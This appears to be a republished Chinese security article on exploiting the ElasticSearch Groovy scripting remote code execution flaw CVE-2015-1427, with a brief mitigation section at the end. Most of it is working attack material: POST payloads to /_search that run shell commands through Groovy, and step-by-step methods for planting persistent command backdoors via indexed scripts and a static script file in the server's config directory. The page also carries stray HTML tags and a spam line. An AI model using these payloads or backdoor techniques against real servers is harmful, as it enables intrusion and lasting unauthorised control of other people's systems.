<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/5142

            0x00 漏洞概述


            要結合上一篇文章《ElasticSearch Groovy腳本遠程代碼執行漏洞分析(CVE-2015-1427)》一起來看,我第一次知道CVE-2015-1427這個漏洞是在2月13日(春節放假前一天),但是當時想著過年,而且覺得應該是Groovy自身的問題,就也沒太在意。知道前兩天蘭少(lupin)問我有沒有看這個漏洞,說他找到了繞過了沙盒的方法,才跑去看。

            我跟lupin玩這個洞的思路不太一樣,而且漏洞原理在他的文章里已經說的很清楚了,我這篇文章主要側重這個漏洞利用的各種玩法。

            0x01 漏洞原理


            漏洞原因很簡單,由于沙盒代碼黑名單中的Java危險方法不全,從而導致惡意用戶仍可以使用反射的方法來執行Java代碼。這就完了?當然不是!由于Elasticsearch開發團隊沒有完全認知Groovy的強大,以為僅僅防止用戶調用Java反射就可以免于被攻擊,這真是太好笑了,我們來看下Groovy對自己的描述:

            enter image description here

            沒錯!Groovy是一款開發語言,這意味著我們完全可以在不使用Java的前提下實現代碼執行。如果僅僅是沙盒的問題,那么修補黑白名單到攻擊者沒辦法繞過沙盒使用Java反射就好了,但是一種語言要怎么靠黑白名單來限制它的絕大部分功能?所以沒有把Groovy當做一種編程語言是這問題的真正原因。

            0x02 漏洞利用


            漏洞利用其實也很簡單,我們只需要參照官方提供的script使用說明來執行腳本就可以了。官方文檔提供了兩個方法讓我們直接執行腳本代碼。

            我們先來看第一種方式——直接執行腳本,這種方式也就是目前大家都在使用的方式。使用起來也很簡單,直接向/_search這個URL提供如下POST內容:

            {"script_fields": {"my_field": {"script": "def command=\"netstat -an\";def res=command.execute().text;res","lang":"groovy"}}}
            

            效果如下圖所示:

            enter image description here

            官方文檔除了直接執行腳本,還提供了一種預先存儲腳本用于以后執行的方式——腳本索引,這種方法使用起來比較繁瑣,下面我們先來看官方提供的示例:

            #!bash
            //建立腳本索引
            curl -XPOST localhost:9200/_scripts/groovy/indexedCalculateScore -d '{
                 "script": "log(_score * 2) + my_modifier"
            }'
            //使用腳本索引,并執行腳本索引中的代碼
            curl -XPOST localhost:9200/_search -d '{
              "query": {
                "function_score": {
                  "query": {
                    "match": {
                      "body": "foo"
                    }
                  },
                  "functions": [
                    {
                      "script_score": {
                        "script_id": "indexedCalculateScore",
                        "lang" : "groovy",
                        "params": {
                          "my_modifier": 8
                        }
                      }
                    }
                  ]
                }
              }
            }'
            

            下面我們來看實際操作,首先是建立腳本索引:

            #!js
            {
                 "script": "def command=\"netstat -an\";def res=command.execute().text;res"
            }
            

            然后是執行剛剛建立的腳本索引,由于官方給的示例中不可以返回字符串,所以這里我修改了POST提交的內容。

            #!js
            {
                "query" : {
                   "match_all":{
                    }
                },
                "script_fields" : {
                    "test1" : {
                        "script_id" : "indexedCalculateScore",
                        "lang":"groovy"
                    }
                }
            }
            

            這種方法相比較直接執行腳本多了一個存儲的步驟,但是卻不失為一種留后門的好方法。如果我們這樣建立一條腳本索引:

            #!js
            {
                 "script": "def res=command.execute().text;res"
            }
            

            然后這樣執行它:

            #!js
            {
                "query" : {
                   "match_all":{
                    }
                },
                "script_fields" : {
                    "test1" : {
                        "script_id" : "indexedCalculateScore",
                        "lang":"groovy",
                        "params":{
                             "command":"netstat -an"
                         }
                    }
                }
            }
            

            完美的一個shell命令后門就完成了,效果如下圖所示:

            enter image description here

            不過使用腳本索引建立的后門有一個問題,就是需要在動態腳本開啟的狀態下。而官方提供給我們的最后一個調用腳本的方式——調用靜態腳本,剛剛好可以幫助我們維持后門的持久性。

            使用方法如下:在config目錄下建立一個名為scripts的目錄,把腳本文件放進去,然后用script_file替換上面的script_id字段就好了。這里做一個簡單的例子,在scripts里放上我們剛才的的那個shell后門的代碼,并命名為vul.groovy,然后POST如下數據進行搜索:

            #!js
            {
                "script_fields": {
                    "my_field": {
                        "file": "vul",
                        "params": {
                              "command":"netstat -an"
                        }
                    }
                }
            }
            

            如果你足夠仔細的話,可能會發現上面的代碼中我使用的file而不是官方示例的script_file,因為我測試環境是1.3.5和1.4.10,而官方所提供的示例應該是針對MVEL表達式時代的靜態表達式使用方法,所以有些時候不看代碼是無法發現真相的→_→。

            0x03 思維壁壘


            在和lupin一開始討論這個漏洞的時候,發現我們思考的方式完全不一樣。他在跟我說怎么怎么繞過沙盒,而我卻不斷的問他沙盒在哪里?為什么我沒有感覺到沙盒的存在?從lupin這篇文章描述的細節和下面官方對這個漏洞描述的內容以及官方對于漏洞的后期修復,再到這兩天的全民反射來看,大家明顯是都被帶到溝里去了,把一個好好的代碼執行漏洞玩成了命令執行漏洞。

            The vulnerabilities allow an attacker to construct Groovy scripts that escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM.

            如果讓我用一句話來評論目前的大家使用的PoC的話,“用C的方式來利用一個PHP代碼執行”,這句話再合適不過了。我在《一種新的攻擊方法——Java-Web-Expression-Language-Injection》中提到的JELI的這種漏洞形式(或者說攻擊方法),是由于開發者對于Java上層建筑的表達式認知度不夠而導致漏洞的出現。Struts2沒有想到Ognl可以執行Java代碼,Elasticsearch同樣沒有想到Groovy可以實現任意Java功能。

            所以在這里我覺得有必要提醒大家一下,小心思維壁壘的出現。

            0x04 漏洞總結


            漏洞小結

            1. 影響范圍個人評價為“高”,ElasticSearch在大數據時代得到廣泛的使用,而且此漏洞覆蓋十個左右的版本,所以影響范圍還是很廣的。

            2. 危害性個人評價為“極高”,此漏洞值需要使用默認的動態腳本配置便可被利用,攻擊者可以利用這個漏洞getshell。

            防護方案

            關閉groovy沙盒以已停止動態腳本的使用:

            script.groovy.sandbox.enabled: false
            

            官方已經在最新版本中修復此問題,最新版下載鏈接為: http://www.elasticsearch.org/overview/elkdownloads/

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线